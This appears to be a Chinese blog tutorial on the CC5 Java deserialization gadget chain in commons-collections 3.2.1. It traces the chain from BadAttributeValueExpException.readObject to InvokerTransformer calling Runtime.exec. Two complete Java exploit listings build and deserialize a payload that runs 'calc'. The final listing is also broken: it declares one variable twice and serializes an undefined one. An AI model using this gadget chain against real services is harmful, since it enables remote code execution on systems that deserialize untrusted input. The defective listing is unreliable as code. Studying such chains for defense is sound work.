前言
本质上也就是前面几条CC链改来改去,换了一个入口类。
环境搭建
- JDK8u65
- commons-collections 3.2.1
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
利用链分析
从上图可以看出来还是通过LazyMap
调用ChainedTransformer.transform()
最终调用InvokerTransformer.transform()
执行代码
思路是一样的,找谁调用了get()
方法,2000+结果,凭我们自己可能很难找到了,ysoserial中最终是找到了TiedMapEntry.toString()
TiedMapEntry.toString
调用了getValue()
方法
TiedMapEntry.getValue()
最终调用了get()
那接着就是找谁调用了toString()
方法最好是在readObject()
中,最终找到了BadAttributeValueExpException.readObject()
CC5编写
从上面的图也可以看出来后半部分链其实和CC1或者CC6是一样的,复制粘贴没什么好说的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class Main { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, 1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
|
序列化自动执行的问题
写了上面的代码发现,序列化的时候就自动执行了。调试一下就就知道,在BadAttributeValueExpException
的构造器直接调用了toString()
方法,导致序列化的时候执行完毕。
解决办法就是通过反射先放一个没用的东西在里面,序列化之前再把tiedMapEntry
放进去。
BadAttributeValueExpException
也支持序列化,虽然当前类没有直接继承Serializable
接口,但是它祖类Throwable
继承了Serializable接口,所以BadAttributeValueExpException
也支持序列化。
1 2 3 4
| java.lang.Object ↳ java.lang.Throwable ↳ java.lang.Exception ↳ javax.management.BadAttributeValueExpException
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class Main { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, 1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<? extends BadAttributeValueExpException> c = badAttributeValueExpException.getClass(); Field declaredField = c.getDeclaredField("val"); declaredField.setAccessible(true); declaredField.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException1); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
参考链接
Java反序列化CommonsCollections篇(四)-摆烂的完结篇